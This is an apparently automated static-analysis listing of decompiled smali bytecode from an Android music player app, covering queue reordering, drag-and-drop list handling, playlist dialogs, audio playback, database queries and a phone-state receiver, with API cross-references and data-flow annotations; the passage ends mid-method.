17goto_11: if-ne v1, v2, :cond_5f
19iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
20iget v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
21if-ne p1, v5, :cond_1d
23iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
24iput p2, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
25cond_1d:
26iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
27iget v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
28if-ge v5, p1, :cond_29
30iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
31iget v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
32if-gt v5, p2, :cond_35
33cond_29:
34iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
35iget v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
36if-ge v5, p2, :cond_3d
38iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
39iget v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
40if-le v5, p1, :cond_3d
41cond_35:
42iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
43iget v6, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
44neg-int v7, v0
45add-int/2addr v6, v7
46iput v6, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
47cond_3d:
48iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
50iget-object v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
52invoke-virtual {v5, p2, v4}, Ljava/util/ArrayList;->set(ILjava/lang/Object;)Ljava/lang/Object;
54iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
56iget-object v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
58invoke-virtual {v5}, Lcom/twdlphqg/app/TouchInterceptor;->getAdapter()Landroid/widget/ListAdapter;
59move-result-object v5
60check-cast v5, Landroid/widget/ArrayAdapter;
62invoke-virtual {v5}, Landroid/widget/ArrayAdapter;->notifyDataSetChanged()V
64iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
66invoke-static {v5}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->access$0(Lcom/twdlphqg/app/fragments/TrackInQueueFragment;)Lcom/twdlphqg/app/interfaces/TrackInQueueFragmentComunicator;
67move-result-object v5
69iget-object v6, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
70iget v6, v6, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
72invoke-interface {v5, v6}, Lcom/twdlphqg/app/interfaces/TrackInQueueFragmentComunicator;->getTrackIndex(I)V
73return-void
74cond_5f:
75iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
77iget-object v6, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
79iget-object v5, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
81iget-object v5, v5, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
82add-int v7, v1, v0
84invoke-virtual {v5, v7}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
85move-result-object v5
86check-cast v5, Lcom/twdlphqg/app/models/Track;
88invoke-virtual {v6, v1, v5}, Ljava/util/ArrayList;->set(ILjava/lang/Object;)Ljava/lang/Object;
89add-int/2addr v1, v0
90goto/16 :goto_11
Cross References
APIs
  • android.widget.ImageView.getWidth
  • android.view.WindowManager.updateViewLayout
  • android.widget.ImageView.getWidth
  • com.twdlphqg.app.TouchInterceptor.getHeight
  • android.graphics.drawable.Drawable.setLevel
Position Instruction Meta Information
0.param p1, "x" # I
1.param p2, "y" # I
2.prologue
3const/4 v7, 0x2
4const/4 v6, 0x1
5const/4 v5, 0x0
6iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveMode:I
7if-ne v2, v6, :cond_1f
8const/high16 v0, 0x3f800000 # 1.0f
10iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
12invoke-virtual {v2}, Landroid/widget/ImageView;->getWidth()I
13move-result v1
14div-int/lit8 v2, v1, 0x2
15if-le p1, v2, :cond_1b
16sub-int v2, v1, p1
17int-to-float v2, v2
18div-int/lit8 v3, v1, 0x2
19int-to-float v3, v3
20div-float v0, v2, v3
21cond_1b:
22iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
23iput v0, v2, Landroid/view/WindowManager$LayoutParams;->alpha:F
24cond_1f: iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveMode:I
25if-eqz v2, :cond_27
26iget v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mRemoveMode:I
27if-ne v2, v7, :cond_60
28cond_27:
29iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
30iget v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPointX:I
31sub-int v3, p1, v3
32iget v4, p0, Lcom/twdlphqg/app/TouchInterceptor;->mXOffset:I
33add-int/2addr v3, v4
34iput v3, v2, Landroid/view/WindowManager$LayoutParams;->x:I
35goto_32:
36iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
37iget v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPointY:I
38sub-int v3, p2, v3
39iget v4, p0, Lcom/twdlphqg/app/TouchInterceptor;->mYOffset:I
40add-int/2addr v3, v4
41iput v3, v2, Landroid/view/WindowManager$LayoutParams;->y:I
43iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowManager:Landroid/view/WindowManager;
45iget-object v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
47iget-object v4, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
49invoke-interface {v2, v3, v4}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
51iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTrashcan:Landroid/graphics/drawable/Drawable;
52if-eqz v2, :cond_5f
54iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragView:Landroid/widget/ImageView;
56invoke-virtual {v2}, Landroid/widget/ImageView;->getWidth()I
57move-result v1
59invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getHeight()I
60move-result v2
61mul-int/lit8 v2, v2, 0x3
62div-int/lit8 v2, v2, 0x4
63if-le p2, v2, :cond_65
65iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTrashcan:Landroid/graphics/drawable/Drawable;
67invoke-virtual {v2, v7}, Landroid/graphics/drawable/Drawable;->setLevel(I)Z
  • Data flow analysis:
    • level: 2
68goto_5f: return-void
69cond_60:
70iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
71iput v5, v2, Landroid/view/WindowManager$LayoutParams;->x:I
72goto/16 :goto_32
73cond_65: if-lez v1, :cond_71
74div-int/lit8 v2, v1, 0x4
75if-le p1, v2, :cond_71
77iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTrashcan:Landroid/graphics/drawable/Drawable;
79invoke-virtual {v2, v6}, Landroid/graphics/drawable/Drawable;->setLevel(I)Z
  • Data flow analysis:
    • level: 1
80goto/16 :goto_5f
81cond_71:
82iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTrashcan:Landroid/graphics/drawable/Drawable;
84invoke-virtual {v2, v5}, Landroid/graphics/drawable/Drawable;->setLevel(I)Z
  • Data flow analysis:
    • level: 0
85goto/16 :goto_5f
APIs
  • com.twdlphqg.app.TouchInterceptor.setSelection
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.fragments.TrackInQueueFragment.access$0
  • java.lang.Boolean.valueOf
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "arg2" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
13const/4 v3, 0x1
15iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
17iget-object v0, v0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->list:Lcom/twdlphqg/app/TouchInterceptor;
19invoke-virtual {v0, p3}, Lcom/twdlphqg/app/TouchInterceptor;->setSelection(I)V
21iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
23iget-object v0, v0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
25iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
26iget v1, v1, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
28invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
29move-result-object v0
30check-cast v0, Lcom/twdlphqg/app/models/Track;
31const/4 v1, 0x0
33invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
34move-result-object v1
36invoke-virtual {v0, v1}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
38iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
39iput p3, v0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
41iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
43iget-object v0, v0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
45invoke-virtual {v0, p3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
46move-result-object v0
47check-cast v0, Lcom/twdlphqg/app/models/Track;
49invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
50move-result-object v1
52invoke-virtual {v0, v1}, Lcom/twdlphqg/app/models/Track;->setSelected(Ljava/lang/Boolean;)V
54iget-object v0, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
56invoke-static {v0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->access$0(Lcom/twdlphqg/app/fragments/TrackInQueueFragment;)Lcom/twdlphqg/app/interfaces/TrackInQueueFragmentComunicator;
57move-result-object v0
59iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
60iget v1, v1, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->trackIndex:I
62iget-object v2, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
64iget-object v2, v2, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->tracks:Ljava/util/ArrayList;
66invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 1
67move-result-object v3
69invoke-interface {v0, v1, v2, v3}, Lcom/twdlphqg/app/interfaces/TrackInQueueFragmentComunicator;->LoadTrackAndPlay(ILjava/util/ArrayList;Ljava/lang/Boolean;)V
70return-void
APIs
  • android.widget.EditText.getText
  • android.text.Editable.length
  • android.widget.EditText.getText
  • android.text.Editable.toString
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.dismiss
  • android.widget.EditText.getText
  • android.text.Editable.toString
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
5iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->inputText:Landroid/widget/EditText;
7invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
8move-result-object v0
10invoke-interface {v0}, Landroid/text/Editable;->length()I
11move-result v0
12if-eqz v0, :cond_2c
14iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
16iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->playlist:Lcom/twdlphqg/app/models/Playlist;
17if-nez v0, :cond_2d
19iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
21iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->listener:Lcom/twdlphqg/app/interfaces/CustomPromptDialogFragmentComunicator;
23iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
25iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->inputText:Landroid/widget/EditText;
27invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
28move-result-object v1
30invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String;
31move-result-object v1
33invoke-interface {v0, v1}, Lcom/twdlphqg/app/interfaces/CustomPromptDialogFragmentComunicator;->getInputTextValue(Ljava/lang/String;)V
34goto_27:
35iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
37invoke-virtual {v0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->dismiss()V
38cond_2c: return-void
39cond_2d:
40iget-object v0, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
42iget-object v0, v0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->listener:Lcom/twdlphqg/app/interfaces/CustomPromptDialogFragmentComunicator;
44iget-object v1, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
46iget-object v1, v1, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->inputText:Landroid/widget/EditText;
48invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
49move-result-object v1
51invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String;
52move-result-object v1
54iget-object v2, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
56iget-object v2, v2, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->playlist:Lcom/twdlphqg/app/models/Playlist;
58invoke-interface {v0, v1, v2}, Lcom/twdlphqg/app/interfaces/CustomPromptDialogFragmentComunicator;->renamePlaylist(Ljava/lang/String;Lcom/twdlphqg/app/models/Playlist;)V
59goto/16 :goto_27
Cross References
APIs
  • android.media.MediaPlayer.reset
  • java.util.ArrayList.get
  • android.media.MediaPlayer.setDataSource
  • android.media.MediaPlayer.prepare
  • android.media.MediaPlayer.start
  • com.twdlphqg.app.services.AudioPlayerService.showNotification
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.param p1, "trackIndex" # I
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(I",
4"Ljava/util/ArrayList",
5"<",
6"Lcom/twdlphqg/app/models/Track;",
7">;)V"
8}
9.end annotation
10.prologue
11try_start_0:
12iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
13if-eqz v1, :cond_2d
14iput-object p2, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
15iput p1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
17iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
19invoke-virtual {v1}, Landroid/media/MediaPlayer;->reset()V
21iget-object v2, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
23iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->tracks:Ljava/util/ArrayList;
24iget v3, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->trackIndex:I
26invoke-virtual {v1, v3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
27move-result-object v1
28check-cast v1, Lcom/twdlphqg/app/models/Track;
30invoke-virtual {v1}, Lcom/twdlphqg/app/models/Track;->getPath()Ljava/lang/String;
31move-result-object v1
33invoke-virtual {v2, v1}, Landroid/media/MediaPlayer;->setDataSource(Ljava/lang/String;)V
35iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
37invoke-virtual {v1}, Landroid/media/MediaPlayer;->prepare()V
39iget-object v1, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
41invoke-virtual {v1}, Landroid/media/MediaPlayer;->start()V
43invoke-virtual {p0}, Lcom/twdlphqg/app/services/AudioPlayerService;->showNotification()V
44try_end_2d: return-void
45catch_2e: move-exception v0
47invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
48goto/16 :goto_2d
Cross References
APIs
  • com.twdlphqg.app.TouchInterceptor.myPointToPosition
  • com.twdlphqg.app.TouchInterceptor.getChildCount
  • com.twdlphqg.app.TouchInterceptor.getChildAt
  • android.view.View.getHitRect
  • android.graphics.Rect.contains
  • com.twdlphqg.app.TouchInterceptor.getFirstVisiblePosition
Position Instruction Meta Information
0.param p1, "x" # I
1.param p2, "y" # I
2.prologue
3if-gez p2, :cond_e
4iget v5, p0, Lcom/twdlphqg/app/TouchInterceptor;->mItemHeightNormal:I
5add-int/2addr v5, p2
7invoke-direct {p0, p1, v5}, Lcom/twdlphqg/app/TouchInterceptor;->myPointToPosition(II)I
8move-result v4
9if-lez v4, :cond_e
10add-int/lit8 v5, v4, -0x1
11goto_d: return v5
12cond_e:
13iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mTempRect:Landroid/graphics/Rect;
15invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getChildCount()I
16move-result v1
17add-int/lit8 v3, v1, -0x1
18goto_16: if-gez v3, :cond_1a
19const/4 v5, -0x1
20goto/16 :goto_d
21cond_1a:
22invoke-virtual {p0, v3}, Lcom/twdlphqg/app/TouchInterceptor;->getChildAt(I)Landroid/view/View;
23move-result-object v0
25invoke-virtual {v0, v2}, Landroid/view/View;->getHitRect(Landroid/graphics/Rect;)V
27invoke-virtual {v2, p1, p2}, Landroid/graphics/Rect;->contains(II)Z
28move-result v5
29if-eqz v5, :cond_2d
31invoke-virtual {p0}, Lcom/twdlphqg/app/TouchInterceptor;->getFirstVisiblePosition()I
32move-result v5
33add-int/2addr v5, v3
34goto/16 :goto_d
35cond_2d: add-int/lit8 v3, v3, -0x1
36goto/16 :goto_16
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
Strings
  • SELECT * FROM
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Artist;",
6">;"
7}
8.end annotation
9.prologue
10new-instance v1, Ljava/lang/StringBuilder;
12const-string v2, "SELECT * FROM "
14invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
16sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
18invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
19move-result-object v1
21invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
22move-result-object v0
24iget-object v1, p0, Lcom/twdlphqg/app/dals/ArtistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
25const/4 v2, 0x0
27invoke-virtual {v1, v0, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p1: 0
28move-result-object v1
29sput-object v1, Lcom/twdlphqg/app/dals/ArtistDal;->cursor:Landroid/database/Cursor;
31sget-object v1, Lcom/twdlphqg/app/dals/ArtistDal;->cursor:Landroid/database/Cursor;
33invoke-direct {p0, v1}, Lcom/twdlphqg/app/dals/ArtistDal;->convertOwnDBCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
34move-result-object v1
35return-object v1
APIs
  • android.support.v4.app.DialogFragment.onAttach
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.getArguments
  • android.os.Bundle.containsKey
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.getArguments
  • android.os.Bundle.getParcelable
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v4/app/DialogFragment;->onAttach(Landroid/app/Activity;)V
4check-cast p1, Lcom/twdlphqg/app/interfaces/CustomPromptDialogFragmentComunicator;
5iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->listener:Lcom/twdlphqg/app/interfaces/CustomPromptDialogFragmentComunicator;
7invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->getArguments()Landroid/os/Bundle;
8move-result-object v0
9if-eqz v0, :cond_27
11invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->getArguments()Landroid/os/Bundle;
12move-result-object v0
14sget-object v1, Lcom/twdlphqg/app/conf/constants;->COMMON_KEY:Ljava/lang/String;
16invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
17move-result v0
18if-eqz v0, :cond_27
20invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->getArguments()Landroid/os/Bundle;
21move-result-object v0
23sget-object v1, Lcom/twdlphqg/app/conf/constants;->COMMON_KEY:Ljava/lang/String;
25invoke-virtual {v0, v1}, Landroid/os/Bundle;->getParcelable(Ljava/lang/String;)Landroid/os/Parcelable;
26move-result-object v0
27check-cast v0, Lcom/twdlphqg/app/models/Playlist;
28iput-object v0, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->playlist:Lcom/twdlphqg/app/models/Playlist;
29cond_27: return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.AlbumArtFragment.getView
  • android.view.View.findViewById
  • android.net.Uri.parse
  • android.widget.ImageView.setImageURI
  • android.widget.ImageView.setImageResource
Position Instruction Meta Information
0.param p1, "albumArtUri" # Ljava/lang/String;
1.prologue
2iput-object p1, p0, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->albumArtUri:Ljava/lang/String;
4invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->getView()Landroid/view/View;
5move-result-object v1
6if-eqz v1, :cond_22
8invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->getView()Landroid/view/View;
9move-result-object v1
10const v2, 0x7f0a003c
12invoke-virtual {v1, v2}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361852
13move-result-object v0
14check-cast v0, Landroid/widget/ImageView;
15if-eqz p1, :cond_23
17const-string v1, ""
18if-eq p1, v1, :cond_23
20invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
21move-result-object v1
23invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageURI(Landroid/net/Uri;)V
24goto_22: return-void
25cond_23: const v1, 0x7f02005b
27invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837595
28goto/16 :goto_22
APIs
  • com.twdlphqg.app.adapter.DropdownMenuAdapter.getContext
  • android.widget.TextView.<init>
  • android.widget.TextView.setHeight
  • android.widget.TextView.setVisibility
  • android.view.ViewGroup.setVerticalScrollBarEnabled
  • android.widget.ArrayAdapter.getDropDownView
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "convertView" # Landroid/view/View;
2.param p3, "parent" # Landroid/view/ViewGroup;
3.prologue
4const/4 v3, 0x0
5const/4 v1, 0x0
6if-nez p1, :cond_1a
7new-instance v0, Landroid/widget/TextView;
9invoke-virtual {p0}, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;->getContext()Landroid/content/Context;
10move-result-object v2
12invoke-direct {v0, v2}, Landroid/widget/TextView;-><init>(Landroid/content/Context;)V
14invoke-virtual {v0, v3}, Landroid/widget/TextView;->setHeight(I)V
  • Data flow analysis:
    • pixels: 0
15const/16 v2, 0x8
17invoke-virtual {v0, v2}, Landroid/widget/TextView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
18move-object v1, v0
19goto_16:
20invoke-virtual {p3, v3}, Landroid/view/ViewGroup;->setVerticalScrollBarEnabled(Z)V
  • Data flow analysis:
    • verticalScrollBarEnabled: 0
21return-object v1
22cond_1a: const/4 v2, 0x0
24invoke-super {p0, p1, v2, p3}, Landroid/widget/ArrayAdapter;->getDropDownView(ILandroid/view/View;Landroid/view/ViewGroup;)Landroid/view/View;
  • Data flow analysis:
    • p1: 0
25move-result-object v1
26goto/16 :goto_16
Cross References
APIs
  • java.lang.Object.<init>
  • android.os.Parcel.readInt
  • android.os.Parcel.readString
  • android.os.Parcel.readInt
  • android.os.Parcel.readString
Position Instruction Meta Information
0.param p1, "in" # Landroid/os/Parcel;
1.prologue
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
6move-result v0
7iput v0, p0, Lcom/twdlphqg/app/models/Album;->id:I
9invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
10move-result-object v0
11iput-object v0, p0, Lcom/twdlphqg/app/models/Album;->title:Ljava/lang/String;
13invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
14move-result-object v0
15iput-object v0, p0, Lcom/twdlphqg/app/models/Album;->artist:Ljava/lang/String;
17invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
18move-result v0
19iput v0, p0, Lcom/twdlphqg/app/models/Album;->numberOfSongs:I
21invoke-virtual {p1}, Landroid/os/Parcel;->readString()Ljava/lang/String;
22move-result-object v0
23iput-object v0, p0, Lcom/twdlphqg/app/models/Album;->albumArt:Ljava/lang/String;
24return-void
APIs
  • android.content.Intent.getStringExtra
  • java.lang.String.equals
  • com.twdlphqg.app.services.AudioPlayerService.resume
  • com.twdlphqg.app.services.AudioPlayerService.pause
Strings
  • state
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4const-string v1, "state"
6invoke-virtual {p2, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: state
7move-result-object v0
9sget-object v1, Landroid/telephony/TelephonyManager;->EXTRA_STATE_IDLE:Ljava/lang/String;
11invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
12move-result v1
13if-eqz v1, :cond_14
